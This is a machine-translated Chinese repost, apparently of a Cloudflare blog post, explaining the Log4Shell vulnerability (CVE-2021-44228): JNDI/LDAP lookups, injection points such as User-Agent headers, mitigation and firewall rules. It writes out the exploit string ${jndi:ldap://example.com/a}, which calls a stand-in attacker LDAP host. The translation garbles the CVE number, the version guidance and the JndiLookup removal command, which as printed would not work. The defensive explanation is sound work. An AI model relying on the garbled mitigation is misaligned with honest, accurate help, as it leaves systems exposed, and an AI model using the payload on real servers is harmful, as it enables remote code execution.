Log4j2 漏洞詳解 (CVE202144228)Log4j2漏洞的詳細(xì)說明(CVE202144228)在這篇博文的前一個(gè)版本中,推薦了幾種略有不同的緩解方法。Apache Log4j項(xiàng)目更新了它的官方指南,我們也根據(jù)它的推薦更新了這篇博文。昨天,2021年12月9日,在流行的基于Java的日志包Log4j中發(fā)現(xiàn)了一......
在這篇博文的前一個(gè)版本中,推薦了幾種略有不同的緩解方法。Apache Log4j項(xiàng)目更新了它的官方指南,我們也根據(jù)它的推薦更新了這篇博文。
昨天,2021年12月9日,在流行的基于Java的日志包Log4j中發(fā)現(xiàn)了一個(gè)非常嚴(yán)重的漏洞。此漏洞允許攻擊者在遠(yuǎn)程服務(wù)器上執(zhí)行代碼;所謂的遠(yuǎn)程代碼執(zhí)行(RCE)。隨著Java和Log4j的廣泛使用,這可能是自Heartbleed和ShellShock以來互聯(lián)網(wǎng)上最嚴(yán)重的漏洞之一。
漏洞CVE202144228影響Log4j介于2.0beta9和2.14.1之間的版本2。在2.16.0中打了補(bǔ)丁。
在本帖中,我們將介紹該漏洞的歷史,它是如何被引入的,以及Cloudflare如何保護(hù)我們的客戶。
Cloudflare使用基于Java的軟件,我們的團(tuán)隊(duì)已經(jīng)采取措施來確保我們的系統(tǒng)不會受到攻擊,或者降低該漏洞的風(fēng)險(xiǎn)。同時(shí),我們引入了防火墻規(guī)則來保護(hù)我們的客戶。
但是,如果您的公司使用基于Java的軟件,其中使用了Log4j,那么您應(yīng)該立即查閱關(guān)于如何減輕和保護(hù)您的系統(tǒng)的章節(jié),然后閱讀其余部分。
如何降低CVE漏洞風(fēng)險(xiǎn)202144228
實(shí)施以下緩解方法之一:Java 8(或更高版本)的用戶應(yīng)升級到版本2.16.0。Java用戶應(yīng)該升級到2.12.2版。
或者,在2.16.0以外的任何版本中,可以從類路徑中刪除JndiLookup類:zipqd log4jcore*。jarorg/Apache/logging/log4j/core/lookup/JNDI lookup . class
漏洞歷史記錄
2013年2.0beta9版本中,Log4j包增加了“JNDILookup插件”來發(fā)布LOG4J2313。要理解這種變化是如何引起問題的,您需要了解一點(diǎn)JNDI:Java命名和目錄接口。
JDNI從20世紀(jì)90年代末開始被引入Java。它是一種目錄服務(wù),允許Java程序通過目錄查找數(shù)據(jù)(以Java對象的形式)。JDNI有多個(gè)服務(wù)提供者接口(SPI ),支持它使用各種目錄服務(wù)。
比如SPI存在于CORBA COS(公共對象服務(wù))、Java RMI(遠(yuǎn)程方法接口)注冊表和LDAP中。LDAP是一種非常流行的目錄服務(wù)(輕量級目錄訪問協(xié)議),并且它是CVE202144228的主要焦點(diǎn)(盡管也可以使用其他SPI)。
Java程序可以同時(shí)使用JNDI和LDAP來查找包含可能需要的數(shù)據(jù)的Java對象。例如,在標(biāo)準(zhǔn)的Java文檔中,有一個(gè)與LDAP服務(wù)器通信以從對象中檢索屬性的示例。它使用URL LDAP://localhost:389/o = JNDITutorial從運(yùn)行在同一臺機(jī)器(localhost)的端口389上的LDAP服務(wù)器中查找JNDI教程對象,并繼續(xù)從中讀取屬性。
正如教程所說:“如果您的LDAP服務(wù)器位于另一臺機(jī)器上或使用另一個(gè)端口,那么您需要編輯LDAP URL”。因此,LDAP服務(wù)器可能運(yùn)行在不同的機(jī)器上,并且可能位于互聯(lián)網(wǎng)上的任何地方。這種靈活性意味著,如果攻擊者能夠控制LDAP URL,就可以讓Java程序從攻擊者控制的服務(wù)器上加載對象。
以上是JNDI和LDAP的基本情況;它們是Java生態(tài)系統(tǒng)的重要組成部分。
但是在Log4j的情況下,攻擊者可以通過嘗試在Log4j中寫入${jndi:ldap://example.com/a}這樣的字符串來控制LDAP URL。如果發(fā)生這種情況,Log4j將連接到example.com上的LDAP服務(wù)器并檢索對象。
發(fā)生這種情況是因?yàn)長og4j包含一種特殊的語法格式${ prefix:name },其中prefix是許多不同的查找值之一,name應(yīng)該在這些查找值中進(jìn)行計(jì)算。例如,${Java:version}是Java的當(dāng)前運(yùn)行版本。
LOG4J2313添加了以下jndi查找:“jndi lookup允許通過JNDI檢索變量。默認(rèn)情況下,該項(xiàng)的前綴將是java:comp/env/,但如果該項(xiàng)包含':',則不會添加前綴。"
當(dāng):存在于關(guān)鍵字中時(shí),如${ JNDI:ldap://example . com/a }所示,將沒有前綴,并將在LDAP服務(wù)器中查詢該對象。這些查找可以在Log4j的配置中和記錄行時(shí)使用。
因此,攻擊者只需要找到一些記錄的輸入,然后添加${jndi:ldap://example.com/a}這樣的內(nèi)容。這可以是一個(gè)普通的HTTP頭,比如UserAgent(通常是記錄的),也可以是一個(gè)也可以記錄的表單參數(shù),比如username。
這種情況在使用Log4j的基于Java的網(wǎng)絡(luò)軟件中可能很常見。更有甚者,使用Java的非聯(lián)網(wǎng)軟件在不同系統(tǒng)間傳輸數(shù)據(jù)時(shí)也可能利用漏洞。
例如,可以將包含漏洞的用戶代理字符串傳遞給用Java編寫的執(zhí)行索引或數(shù)據(jù)科學(xué)的后端系統(tǒng),并且可以記錄該漏洞。這就是為什么所有使用Log4j version 2的基于Java的軟件都必須立即打補(bǔ)丁或應(yīng)用緩解措施。即使網(wǎng)絡(luò)軟件不是用Java編寫的,該字符串也可能被傳遞給使用Java的其他系統(tǒng),從而使攻擊者利用該漏洞。
或者,假設(shè)有一個(gè)基于Java的計(jì)費(fèi)系統(tǒng),會記錄找不到客戶名字的情況。惡意用戶可能會創(chuàng)建名稱包含漏洞的訂單,這些訂單可能會經(jīng)過多次跳躍(并且需要很長時(shí)間),通過客戶數(shù)據(jù)庫從Web服務(wù)器進(jìn)入計(jì)費(fèi)系統(tǒng),最后在其中被執(zhí)行。
而且Java不僅僅用在網(wǎng)絡(luò)化系統(tǒng)中,很多其他系統(tǒng)中也會用到。舉個(gè)例子,不難想象,包裹處理系統(tǒng)或者用來掃描盒子上二維碼的非接觸式門卡,如果用Java寫,用Log4j,就容易受到攻擊。在一種情況下,精心制作的QR碼可能包含帶有漏洞字符串的郵寄地址;在另一種情況下,精心編程的門卡可能包含漏洞,并被跟蹤進(jìn)出的系統(tǒng)記錄下來。
執(zhí)行常規(guī)工作的系統(tǒng)可能會提取漏洞內(nèi)容并在以后記錄下來。因此,在用Java編寫的某些索引、打包或歸檔過程無意中記錄了惡意字符串之前,該漏洞可能一直處于休眠狀態(tài)。這可能在幾個(gè)小時(shí)甚至幾天內(nèi)發(fā)生。
Cloudflare防火墻保護(hù)
Cloudflare為使用我們的防火墻阻止HTTP請求中常見位置的jndi查找的客戶引入了基于規(guī)則的保護(hù)。隨著攻擊者不斷修改和利用漏洞,我們也在不斷優(yōu)化這些規(guī)則。
特別聲明:以上文章內(nèi)容僅代表作者本人觀點(diǎn),不代表ESG跨境電商觀點(diǎn)或立場。如有關(guān)于作品內(nèi)容、版權(quán)或其它問題請于作品發(fā)表后的30日內(nèi)與ESG跨境電商聯(lián)系。
二維碼加載中...
使用微信掃一掃登錄
使用賬號密碼登錄
平臺顧問
微信掃一掃
馬上聯(lián)系在線顧問
小程序
ESG跨境小程序
手機(jī)入駐更便捷
返回頂部